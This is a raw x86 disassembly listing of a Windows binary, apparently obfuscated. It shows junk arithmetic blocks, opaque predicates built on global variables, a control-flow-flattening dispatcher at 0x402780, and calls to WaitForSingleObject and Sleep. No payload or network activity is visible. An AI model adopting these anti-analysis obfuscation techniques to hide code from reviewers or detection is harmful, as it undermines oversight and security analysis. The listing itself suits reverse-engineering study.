or esi, 0xa9
and ebx, 0x4f
not edx
rcl eax, 0x3e
ror esi, 0x27
sub eax, 0xaf
add edi, 0xde
rcr eax, 0x80
inc edi
not esi
not eax
rcl edi, 0xfb
rcr eax, 0xcf
ror ebx, 0x72
sub ebx, 0xcf
imul edx
rol esi, 0xd8
dec edi
mov edi, 0x1e
sub edi, 0xce
imul esi
or edx, 0x3a
rcl ebx, 0x3d
add edi, 0xd1
imul esi
sub edx, 0x3f
ror ebx, 0xf7
mov esi, 0x76
mov eax, 0xf4
dec eax
imul eax
inc edx
sub eax, 0x8e
and ebx, 0x49
not esi
dec edi
or edx, 0xaf
sbb edi, 0x50
mov edi, 0x34
or edi, 0x6d
ror esi, 0x8b
bswap edi
bswap edi
imul eax
dec ebx
imul esi
rcr edi, 0xb2
dec esi
bswap edx
inc eax
and esi, 0xcf
and ebx, 0x50
neg edx
sbb esi, 0x34
sbb edi, 0x31
rcr edx, 0x99
neg ebx
neg esi
rcr eax, 7
not eax
ror ebx, 0x71
or edx, 0x98
rcl edx, 0xfe
dec eax
bswap ebx
sbb ebx, 0x43
bswap edx
imul edx
sbb ebx, 0x2c
or ebx, 0xe6
neg eax
sub edi, 0x2b
bswap edx
neg ebx
imul edx
dec eax
bswap edx
dec edi
imul edx
or edx, 0xd7
inc esi
dec esi
not edi
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x20]
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xd1341208
and eax, 0x2ec84ce7
mov edx, ecx
and edx, 0x3a110
or esi, edx
xor esi, 0xd1341208
or eax, esi
mov esi, 0xd5a2006e
mov edx, eax
not edx
and eax, 0x2c057347
and edx, 0xd3fa8cb8
or eax, edx
xor eax, 0x2cd3fa1
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x974778b6
and ecx, 0x68b88749
or eax, ecx
cmp eax, 0x974778b6
setne al
cmp dword [0x497380], 0xa
mov ah, al
setl dl
setge cl
or cl, al
xor al, dl
or ah, dl
not al
xor ah, 1
and al, dl
or al, ah
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0xec448627
mov al, ah
xor al, dl
cmovne ecx, esi
test dl, dl
mov edx, ecx
cmovne edx, esi
test ah, ah
jmp 0x41247f
mov eax, 0x793c5c8d
jmp 0x402780
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
not esi
mov eax, ecx
and eax, 1
mov edx, esi
and edx, 0xfffffffe
and esi, 0xc613be4f
or eax, edx
mov edx, ecx
and edx, 0x39ec41b0
and ecx, 0x8d1542ea
or edx, esi
mov esi, eax
and esi, 0x72eabd15
or ecx, esi
mov esi, edx
xor esi, 0x90440a0
xor edx, 0xc613be4f
or eax, edx
and edx, 0x72eabd15
and esi, 0x8d1542ea
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0x8278fd5d
mov ecx, eax
not ecx
and eax, 0xc9568448
and ecx, 0x36a97bb7
or eax, ecx
xor eax, 0xc9568448
sete dl
setne ch
cmp dword [0x497380], 0xa
setge al
mov ah, al
inc ah
mov cl, ah
and cl, al
xor cl, 1
or cl, ah
xor ah, dl
xor cl, 1
or cl, al
mov dh, cl
and cl, dl
xor dl, al
or al, ch
xor al, 1
xor dh, 1
or al, ah
mov ah, dl
and dh, ch
xor ah, al
or al, dl
or cl, dh
xor al, 1
mov edx, ecx
or al, ah
mov ah, cl
xor dl, 1
and ah, al
xor al, 1
and dl, al
or dl, ah
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x4996f896
cmovne ecx, esi
test al, 1
mov eax, 0x4996f896
jmp 0x40f68a
movzx eax, byte [ebp - 0x89]
movzx edx, byte [ebp - 0x8a]
mov ecx, edx
mov ch, dl
mov ah, al
xor cl, 1
xor ah, 1
and ch, cl
xor ch, 1
or ch, dl
xor dl, ah
xor ch, 1
and dl, ah
or ch, cl
xor cl, ah
or al, ch
xor ch, 1
or ch, ah
mov ah, dl
xor dl, cl
xor cl, 1
xor al, 1
xor ah, 1
xor ch, 1
or cl, ah
or al, ch
xor cl, 1
or cl, dl
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ah, al
mov ecx, edx
xor ah, 1
xor cl, 1
and ah, dl
and cl, al
or cl, ah
mov ah, al
xor ah, dl
or dl, al
xor dl, 1
or dl, ah
mov eax, 0xd64b9b5
mov ch, dl
xor ch, cl
test dl, 1
mov edx, 0xae92a595
cmovne eax, edx
test cl, 1
cmove eax, edx
test ch, 1
mov edx, 0xd64b9b5
cmove eax, edx
jmp 0x402780
cmp byte [ebp - 0x98], 0
mov eax, 0x24c0311c
mov ecx, 0x8c58a087
cmovne eax, ecx
jmp 0x402780
mov eax, dword [ebp - 0x88]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
not edi
not edx
imul ebx
and edx, 0xac
rcl esi, 0xb7
or edi, 0xb5
inc edx
bswap edx
neg edi
bswap ebx
dec esi
dec esi
rcr edi, 0xa1
neg edi
add esi, 0xce
inc edx
dec edx
or eax, 0xcf
neg ebx
neg esi
rol eax, 0xe2
rcl esi, 0xa3
sbb edx, 0xee
neg edx
neg ebx
imul edi
neg eax
sub eax, 0xf6
not edi
dec esi
dec eax
ror edi, 0x75
ror edx, 0xb9
bswap ebx
inc edi
rol edi, 0xbc
sub eax, 0xe8
ror ebx, 0xd2
rcr esi, 0x9f
inc edi
neg edi
sub edi, 0x85
imul edi
dec ebx
ror edx, 0xe7
inc esi
imul edi
sbb edi, 0x54
bswap esi
bswap edx
neg eax
rol edx, 0xaf
mov eax, 3
bswap ebx
or edi, 0x52
inc ebx
and edi, 0x7a
rcl esi, 0x37
or esi, 0xdc
not edx
add esi, 0x57
not esi
not esi
bswap eax
neg edi
sub edi, 0x9a
dec edi
rol edi, 0xd0
ror edx, 1
and ebx, 0x9c
inc edi
rcr edx, 0x38
rcl ebx, 0x5d
bswap ebx
rol edx, 0x75
rcr edx, 0x40
imul eax
inc edx
or ebx, 0x88
ror esi, 0x9e
inc ebx
bswap ebx
sbb eax, 0xef
inc ebx
or eax, 0x12
add ebx, 0x51
bswap edi
inc ebx
rcl esi, 0x66
imul edx
or edi, 0x3e
bswap esi
dec esi
add edx, 0xcd
bswap ebx
rol edx, 0x34
rcr edi, 0xae
sub edi, 0xec
not esi
ror edi, 0x53
inc ebx
imul edi
dec ebx
or eax, 0xc0
sbb eax, 0x91
not ebx
imul ebx
neg esi
rcl esi, 0x1f
bswap edx
rcr ebx, 0xfb
bswap eax
neg esi
inc edi
add eax, 0xdc
not ebx
imul edx
rol ebx, 0
dec ebx
dec ebx
not ebx
bswap esi
dec edx
sbb edi, 0x8e
imul eax
sbb edi, 0xee
imul esi
rcr ebx, 0x86
inc edx
rol eax, 0xf3
imul eax
inc edi
rcr esi, 0x6f
rcl eax, 0xe5
bswap ebx
bswap edi
or edi, 0x85
rcr esi, 0xdf
add eax, 0x75
not ebx
or edx, 0xaf
bswap esi
sbb ebx, 0x73
rcr edi, 0xe6
rol esi, 0xb4
neg esi
add edx, 0x4b
sbb eax, 0xe3
sub ebx, 0x33
sbb edi, 6
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0
mov eax, dword [ebp - 0x2c]
mov dword [eax], 1
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xa8]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0xa0]
mov eax, 0xf6f93ffc
jmp 0x402780
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov dword [ebp - 0x120], eax
mov eax, 0x8fb827b6
jmp 0x402780
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xc93bf72c
mov esi, edx
and esi, 0x36c408d2
and edx, 0x889a6479
or ecx, esi
mov esi, ecx
xor esi, 0x8019a70c
xor ecx, 0x2040012
and ecx, 0x4b265032
and esi, 0xb4d9afcc
or esi, ecx
mov ecx, eax
or ecx, 0x4b265032
and eax, 0x77659b86
and ecx, 0x4b265033
or eax, edx
xor ecx, esi
mov edx, ecx
not edx
and ecx, 0xb0d4c691
mov esi, edx
and esi, 0x4f2b396e
or ecx, esi
mov esi, eax
xor esi, 0x30448280
xor eax, 0x80a2068
and eax, 0x4f2b396e
and esi, 0xb0d4c691
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0x1e9da749
sete cl
setne ah
cmp dword [0x497380], 0xa
setge al
setl dl
and ah, dl
and al, cl
or al, ah
mov ah, dl
xor dl, cl
or ah, cl
xor ah, 1
or dl, ah
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
xor ah, cl
xor cl, 1
or cl, dl
mov edx, eax
xor dl, 1
xor cl, 1
and al, dl
or cl, ah
xor al, 1
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
xor al, cl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x27c265c3
cmovne ecx, esi
test al, 1
not dl
mov eax, 0x27c265c3
jmp 0x40b84d
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0xb5297a4d
jmp 0x402780
cmp byte [ebp - 0x9a], 0
mov eax, 0xbc654a2d
mov ecx, 0xec697333
cmovne eax, ecx
jmp 0x402780
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0xa
mov eax, 0xd568549d
jmp 0x402780
mov eax, dword [ebp - 0x114]
mov eax, 0x8f8eabd9
jmp 0x402780
mov eax, 0x3c7460d1
jmp 0x402780
mov eax, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x110]
mov eax, 0xf95c5a13
jmp 0x402780
cmp dword [ebp - 0x14c], 0
mov eax, dword [0x497384]
lea ecx, [eax + 1]
setne byte [ebp - 0x99]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0xab55d92f
and ecx, 0x54aa26d0
or edx, ecx
xor edx, 0xab55d92f
or eax, edx
mov esi, eax
xor esi, 0x48b1ffa2
mov edx, eax
and edx, 0xd25a181a
and esi, eax
not eax
and eax, 0x2da5e7e5
or edx, eax
mov ecx, edx
mov edi, edx
xor ecx, 0xd25a181a
xor edi, 0x65141847
xor edx, 0x4a18744
and edi, ecx
and edx, 0x16e99f4c
mov eax, edi
not eax
and edi, 0x6395877c
mov ebx, eax
and ebx, 0x9c6a7883
or edi, ebx
mov ebx, esi
not ebx
and esi, 0x6395877c
or eax, ebx
and ebx, 0x9c6a7883
or esi, ebx
not eax
mov ebx, 0x58c9e24b
xor esi, edi
mov edi, ecx
and edi, 0xe91660b3
and ecx, 1
or eax, esi
or edi, edx
mov esi, eax
not esi
and eax, 0xaf51843f
mov edx, edi
xor edx, 0x16e99f4d
xor edi, 0xa8124020
and esi, 0x50ae7bc0
or ecx, edx
and edi, 0xbe7b412c
or eax, esi
mov esi, eax
xor esi, 0xa660410c
xor eax, 0x181f8463
mov edx, eax
or eax, ecx
and ecx, 0x4184bed3
and edx, 0x4184bed3
and esi, 0xbe7b412c
or esi, edx
or edi, ecx
not eax
xor edi, esi
or eax, edi
mov edi, 0x58c9e24b
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x33a6b3ab
and eax, 0x10262186
mov edx, ecx
and edx, 0xcc594c54
or ecx, 0x141c000
or esi, edx
and ecx, 0xa949c070
mov edx, esi
xor esi, 0x414000
xor edx, 0x2801209
or eax, ecx
or esi, 0xa8080070
and edx, 0x46901e09
and esi, 0xa949c070
or edx, esi
mov esi, 0xc4dc1320
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x47d1de09
and ecx, 0xb82e21f6
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x64b21820
mov edx, ecx
and edx, 0x9b4de7df
or eax, edx
xor eax, 0x64b21820
or eax, ecx
xor eax, 0xffffffff
setne ah
sete dl
cmp dword [0x497380], 0xa
mov dh, ah
setge cl
setl al
mov ch, cl
or dh, al
or al, dl
inc ch
xor dh, 1
xor al, 1
and ch, ah
mov ah, cl
and cl, dl
or ah, dl
or cl, ch
xor ah, 1
or al, cl
or ah, dh
mov edx, eax
mov cl, ah
not dl
xor cl, 1
and dl, cl
or cl, al
and al, ah
or al, dl
mov ch, cl
xor ch, al
test ch, 1
cmovne ebx, esi
test al, 1
mov eax, ebx
cmovne eax, edi
test cl, cl
cmovne eax, ebx
jmp 0x402780
mov eax, dword [ebp - 0x48]
mov dword [eax], 2
mov ecx, dword [0x497384]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0x1a12069f
mov ecx, eax
and ecx, 0x2008f
and edx, eax
not eax
and eax, 0x1a100610
or ecx, eax
xor ecx, 0x2008f
or edx, ecx
mov eax, edx
not eax
and edx, 0xb234737e
and eax, 0x4dcb8c81
or edx, eax
mov ecx, edx
xor ecx, 0xa82675e1
xor edx, 0x57d98a1e
mov eax, edx
mov esi, ecx
or eax, 1
and edx, 0xfffffffe
and esi, 1
and ecx, 0x45774b4c
or esi, edx
mov edx, eax
and edx, 0xba88b4b2
or ecx, edx
mov edx, esi
not edx
and esi, 0x45774b4d
or eax, edx
and edx, 0xba88b4b2
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xd80aac28
and eax, 0x1300800c
mov edx, ecx
and edx, 0x27f553d7
or ecx, 0xd45022
or esi, edx
and ecx, 0xecde7672
mov edx, esi
xor esi, 0xd45002
xor edx, 0x800
or eax, ecx
or esi, 0xec0a2650
and edx, 0x210981
and esi, 0xecde7672
or edx, esi
mov esi, 0xd603c363
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xf559a3
and ecx, 0xff0aa65c
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x405b6167
mov edx, ecx
and edx, 0xbfa49e98
or eax, edx
xor eax, 0x405b6167
or eax, ecx
cmp eax, 0xffffffff
sete al
cmp dword [0x497380], 0xa
mov edx, eax
setl cl
or al, cl
xor dl, cl
mov ecx, 0x8d9e29e0
not al
or al, dl
xor al, dl
and al, 1
cmovne ecx, esi
test al, dl
mov edx, 0x8d9e29e0
cmove ecx, esi
jmp 0x40f371
mov eax, 0xcba4555e
jmp 0x402780
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x38]
inc eax
mov dword [ecx], eax
mov eax, 0xf14c3961
jmp 0x402780
mov eax, 0x14922977
jmp 0x402780
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x50]
mov ecx, dword [ecx]
add eax, dword [ecx]
mov dword [ebp - 0x18c], eax
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
not esi
and ecx, 0x227c1cf0
and esi, 0xdd83e30f
or esi, ecx
mov edx, esi
mov eax, esi
xor eax, 0xdd83e30f
xor esi, 0x3a7ec893
xor edx, 0x227c1cf0
and esi, eax
mov ebx, edx
and ebx, 0xd2214
and edx, 0x8ece0db8
mov ecx, esi
not ecx
and esi, 0xde254
mov edi, ecx
and edi, 0xfff21dab
or esi, edi
mov edi, eax
or edi, 0x1802d463
or ecx, edi
and edi, 0xfff21dab
or ebx, edi
not ecx
mov edi, 0xa1088324
xor ebx, esi
or ecx, ebx
mov esi, ecx
not esi
and ecx, 0x4bfff68d
and esi, 0xb4000972
or ecx, esi
mov esi, eax
and esi, 0x7131f247
and eax, 1
or esi, edx
xor ecx, 0x53fd22ef
mov edx, esi
xor edx, 0x888a0c31
xor esi, 0x6130a246
or eax, edx
and esi, 0x6774a3ce
and eax, 0x988b5c31
or eax, esi
mov esi, 0x558cd83a
xor eax, 0x988b5c31
or eax, ecx
mov ecx, eax
xor ecx, 0x65d7e85d
and ecx, eax
not eax
or eax, ecx
not ecx
and ecx, 0x9a2817a2
and eax, 0x65d7e85d
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xb580c5d1
and ecx, 0x4a7f3a2e
or ecx, eax
xor ecx, 0x4a7f3a2e
sete al
setne cl
cmp dword [0x497380], 0xa
setl dl
xor cl, dl
or al, dl
mov ah, cl
xor al, 1
xor ah, 1
or al, ah
mov edx, eax
not dl
and dl, cl
or cl, al
and al, ah
or al, dl
mov dh, cl
xor dh, al
test al, al
mov eax, 0xa1088324
cmovne eax, esi
test cl, cl
cmovne eax, edi
test dh, dh
cmove eax, esi
jmp 0x402780
mov eax, dword [ebp - 0x120]
mov eax, dword [ebp - 0x124]
mov eax, 0x8d0cd795
jmp 0x402780
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0xf0], eax
mov eax, dword [0x497384]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xef1bba2c
mov eax, edx
and eax, 0x793789e1
andn ecx, edx, ecx
not edx
and edx, 0x86c8761e
or edx, eax
mov eax, edx
mov esi, edx
xor eax, 0x86c8761e
xor esi, 0x69d3cc32
xor edx, 0x31028920
and esi, eax
and edx, 0xb1c2cd3e
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x501ab359
and esi, 0xafe54ca6
or ecx, esi
mov esi, eax
and esi, 0x4e3d32c1
and eax, 1
or esi, edx
xor ecx, 0x40fef68b
xor esi, 0xb1c2cd3f
or eax, esi
mov esi, 0x10f902d7
mov edx, eax
not edx
and eax, 0x75a69534
and edx, 0x8a596acb
or eax, edx
xor eax, 0x75a69534
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x8001840
mov edx, ecx
and edx, 0xa422452b
and ecx, 0x53dda294
or eax, edx
xor eax, 0x8001840
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x1dba7ea8
mov edx, eax
and edx, 0xe2458157
or ecx, edx
xor ecx, 0x1dba7ea8
or ecx, eax
xor ecx, 0xffffffff
setne dl
sete cl
cmp dword [0x497380], 0xa
mov ch, dl
setl ah
setge al
mov dh, ah
or dl, ah
and ch, al
and dh, cl
xor cl, ah
xor dl, 1
and cl, ah
or dh, ch
or cl, dl
xor al, dh
xor cl, 1
and al, dh
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0x21a90f19
cmovne ecx, esi
test al, al
mov eax, 0x21a90f19
cmovne eax, ecx
jmp 0x4122e7
mov eax, 0xb8eb963d
jmp 0x402780
mov eax, dword [ebp - 0x84]
mov eax, dword [0x497384]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x33de18fe
mov eax, edx
not eax
and ecx, edx
or eax, ecx
not ecx
and ecx, 0xcc21e701
and eax, 0x33de18fe
or eax, ecx
mov esi, eax
xor esi, 0x4c13e0e6
mov ecx, eax
and ecx, 0x456216a9
and esi, eax
not eax
and eax, 0xba9de956
or ecx, eax
mov eax, ecx
mov edi, ecx
xor eax, 0x456216a9
xor edi, 0xf68e09b0
xor ecx, 0x1285a942
and edi, eax
and ecx, 0x12a7ab42
mov edx, edi
not edx
and edi, 0x13f4ccb2
mov ebx, edx
and ebx, 0xec0b334d
or edi, ebx
mov ebx, esi
not ebx
and esi, 0x13f4ccb2
or edx, ebx
and ebx, 0xec0b334d
or esi, ebx
not edx
xor esi, edi
mov edi, 0xa8a3af8f
or edx, esi
mov esi, edx
not esi
and edx, 0x4c13e0e7
and esi, 0xb3ec1f18
or edx, esi
mov esi, eax
and esi, 0xed5854bd
and eax, 1
or esi, ecx
xor esi, 0x12a7ab43
or eax, esi
mov esi, 0xea2f8bc0
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x3fb563a1
and ecx, 0xc04a9c5e
or ecx, edx
xor ecx, 0xc04a9c5e
or ecx, eax
xor ecx, 0xffffffff
sete al
setne cl
cmp dword [0x497380], 0xa
setl dl
setge ah
and dl, cl
and al, ah
or cl, ah
or al, dl
mov ah, cl
mov edx, eax
not ah
and al, cl
xor dl, 1
or cl, dl
and dl, ah
or dl, al
mov eax, edx
xor al, cl
test dl, dl
mov edx, 0xa8a3af8f
cmovne edx, esi
test cl, cl
cmovne edx, edi
test al, al
cmove edx, esi
mov eax, edx
jmp 0x402780
mov eax, 0x81986a91
jmp 0x402780
mov eax, 0x708f2383
jmp 0x402780
mov eax, 0xbb14454f
jmp 0x402780
mov eax, dword [ebp - 0x48]
mov dword [eax], 2
mov eax, 0xa8550514
jmp 0x402780
mov eax, 0xd7901b9f
jmp 0x402780
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [0x497384]
mov eax, dword [eax]
mov dword [ebp - 0xe8], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x986a61a5
and ecx, 0x67959e5a
or eax, ecx
mov edx, eax
xor edx, 0x984a4005
xor eax, 0x22958e40
and eax, 0x22b5afe0
and edx, 0xdd4a501f
or edx, eax
mov esi, edx
mov eax, edx
xor eax, 0xd0420006
xor esi, 0x22b5afe0
xor edx, 0x2a800b0c
and edx, esi
and eax, 0xf0520626
and esi, 0xfadf9d9
or esi, eax
mov eax, esi
xor esi, 0xf0520626
xor eax, 0xfadf9d9
mov ecx, esi
or ecx, 0xf7ca5b13
mov ebx, eax
and ebx, 0x801a420
and esi, 0xfe4f0239
mov edi, ecx
and edi, 0xd0f642df
or ebx, edi
mov edi, edx
not edi
and edx, 0x2f09bd20
or ecx, edi
and edi, 0xd0f642df
or edx, edi
not ecx
xor edx, ebx
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xfc6b2be5
and edx, 0x394d41a
or ecx, edx
mov edx, eax
and edx, 0x1b0fdc6
and eax, 1
or edx, esi
xor ecx, 0xf45e8f08
xor edx, 0xfe4f0238
or eax, edx
mov edx, eax
not edx
and eax, 0x3058bb1a
and edx, 0xcfa744e5
or eax, edx
xor eax, 0x3058bb1a
or eax, ecx
mov ecx, eax
xor ecx, 0xde93a73c
mov edx, eax
not edx
and ecx, eax
or eax, 0x216c58c3
and edx, 0x4e108724
mov esi, eax
and esi, 0x90e32818
or edx, esi
mov esi, ecx
not esi
and ecx, 0x6f1cd7e7
or eax, esi
and esi, 0x90e32818
or ecx, esi
not eax
mov esi, 0x53a3126d
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xfc4d9b1c
and ecx, 0x3b264e3
or eax, ecx
xor eax, 0x22de3c20
sete al
setne dl
cmp dword [0x497380], 0xa
setl ah
setge cl
or al, cl
or ah, dl
or cl, dl
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
mov edx, eax
mov ah, al
and ah, cl
xor dl, 1
xor cl, 1
and dl, cl
or dl, ah
mov ah, cl
or cl, al
xor ah, al
xor cl, 1
or cl, ah
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x399d96d7
cmovne eax, esi
test cl, 1
mov ecx, 0x399d96d7
jmp 0x40dc35
mov eax, dword [ebp - 0x128]
mov eax, dword [ebp - 0x12c]
mov eax, 0x4e0811ca
jmp 0x402780
mov eax, dword [ebp - 0x74]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc4]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, 0xf0cf726f
jmp 0x402780
mov eax, dword [ebp - 0x5c]
mov eax, 0x59549df
jmp 0x402780
mov eax, dword [0x497384]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0x3fbeb87d
mov ecx, edx
and ecx, 0x5ee4be7d
and eax, edx
not edx
and edx, 0xa11b4182
mov esi, eax
not esi
and eax, 0x919a39dc
or ecx, edx
mov edx, ecx
xor ecx, 0x211a0000
xor edx, 0x1080385c
or ecx, 0xc0414782
and edx, 0x119a385c
mov edi, ecx
or ecx, esi
and edi, 0x6e65c623
and esi, 0x6e65c623
or edx, edi
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xa86e461d
and eax, 0x5791b9e2
or ecx, eax
mov esi, ecx
mov edi, ecx
xor esi, 0x1380a220
xor edi, 0x682f019f
xor ecx, 0x10100200
mov eax, edi
and eax, 0xc4765dd6
and esi, 0x3b89a229
or edi, 0x8749f462
and ecx, 0x58320208
or esi, eax
mov edx, esi
mov ebx, esi
xor edx, 0x3b89a229
xor ebx, 0x433fa9b4
xor esi, 0x645100
and ebx, edx
and esi, 0x2265f100
mov eax, ebx
not eax
and ebx, 0x5f7a1228
mov dword [ebp - 0x28], eax
and dword [ebp - 0x28], 0xa085edd7
or eax, edi
and edi, 0xa085edd7
add ebx, dword [ebp - 0x28]
or ecx, edi
mov edi, edx
and edi, 0xdd9a0eff
not eax
and edx, 1
or edi, esi
xor edi, 0x2265f101
or edx, edi
mov esi, edx
not esi
and edx, 0xe8e10946
xor ecx, ebx
and esi, 0x171ef6b9
or eax, ecx
or edx, esi
mov ecx, eax
not ecx
and eax, 0xa1724f8
and ecx, 0xf5e8db07
or eax, ecx
mov ecx, eax
xor ecx, 0x804c0099
xor eax, 0x72a12f64
mov esi, eax
and esi, 0x7d33fa42
and ecx, 0x82cc05bd
or ecx, esi
mov esi, edx
xor esi, 0x80c00104
xor edx, 0x171ef6b9
or eax, edx
and edx, 0x7d33fa42
and esi, 0x82cc05bd
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0x9966d0c8
mov ecx, eax
not ecx
and eax, 0x82309542
mov edx, ecx
and edx, 0x688428b4
and ecx, 0x154b4209
or eax, edx
xor eax, 0x82309542
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x24391681
mov edx, eax
and edx, 0xdbc6e97e
or ecx, edx
xor ecx, 0xdbc6e97e
xor eax, ecx
test eax, ecx
setne dl
sete ah
cmp dword [0x497380], 0xa
mov ecx, edx
setl ch
setge al
or dl, ch
and cl, al
and ch, ah
or ch, cl
mov cl, ch
xor cl, al
or al, ah
mov ah, al
or al, dl
and cl, ch
xor ah, dl
xor al, 1
or al, ah
mov ah, cl
xor ah, 1
xor al, 1
mov dl, ah
mov ch, ah
and dl, cl
xor ch, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ch
xor dl, al
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xe264ff42
cmovne eax, esi
test dl, 1
mov edx, 0xe264ff42
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402780
cmp byte [ebp - 0x8d], 0
mov eax, 0x8afeff63
mov ecx, 0xf133e0c
cmovne eax, ecx
jmp 0x402780
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0xbc]
mov eax, 0x7b2add6c
jmp 0x402780
mov eax, 0xc364b5cd
jmp 0x402780
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
mov edx, ecx
xor edx, 0x1b1708b8
not esi
mov eax, esi
and edx, ecx
and eax, 0x1b1708b8
and esi, 0x5841ed5c
and ecx, 0xa7be12a3
or eax, edx
not edx
or ecx, esi
and edx, 0xe4e8f746
and eax, 0x1b1708b9
or eax, edx
mov edx, eax
not edx
mov esi, eax
and esi, 0x937b48c0
and edx, 0x6c84b73f
or edx, esi
mov esi, ecx
xor esi, 0x24841223
xor ecx, 0x5841ed5c
or eax, ecx
and ecx, 0x937b48c0
and esi, 0x6c84b73f
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0xee5c417
mov ecx, eax
not ecx
and eax, 0x43496846
and ecx, 0xbcb697b9
or eax, ecx
xor eax, 0x43496846
sete al
setne dl
cmp dword [0x497380], 0xa
setge ah
xor dl, ah
mov ch, ah
mov cl, dl
or ch, al
and cl, al
xor al, ah
xor cl, 1
and al, ah
mov dh, cl
or cl, ch
or al, dl
xor dh, ch
xor cl, 1
or cl, dh
xor cl, 1
mov edx, ecx
xor cl, al
or dl, al
mov eax, edx
xor al, cl
test cl, 1
mov ecx, 0xf5594600
cmovne ecx, esi
test dl, 1
mov edx, 0xf5594600
cmovne ecx, edx
jmp 0x411f30
mov eax, 0xa9acf239
jmp 0x402780
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov eax, dword [eax + 0x80]
mov ecx, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0xcc]
add eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0x54]
mov dword [ecx], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0
mov eax, 0xd0614fe7
jmp 0x402780
mov eax, dword [0x497384]
lea ecx, [eax + 1]
imul ecx, eax
andn eax, ecx, ecx
mov edx, ecx
not edx
mov edi, ecx
and edi, 0xb017c06
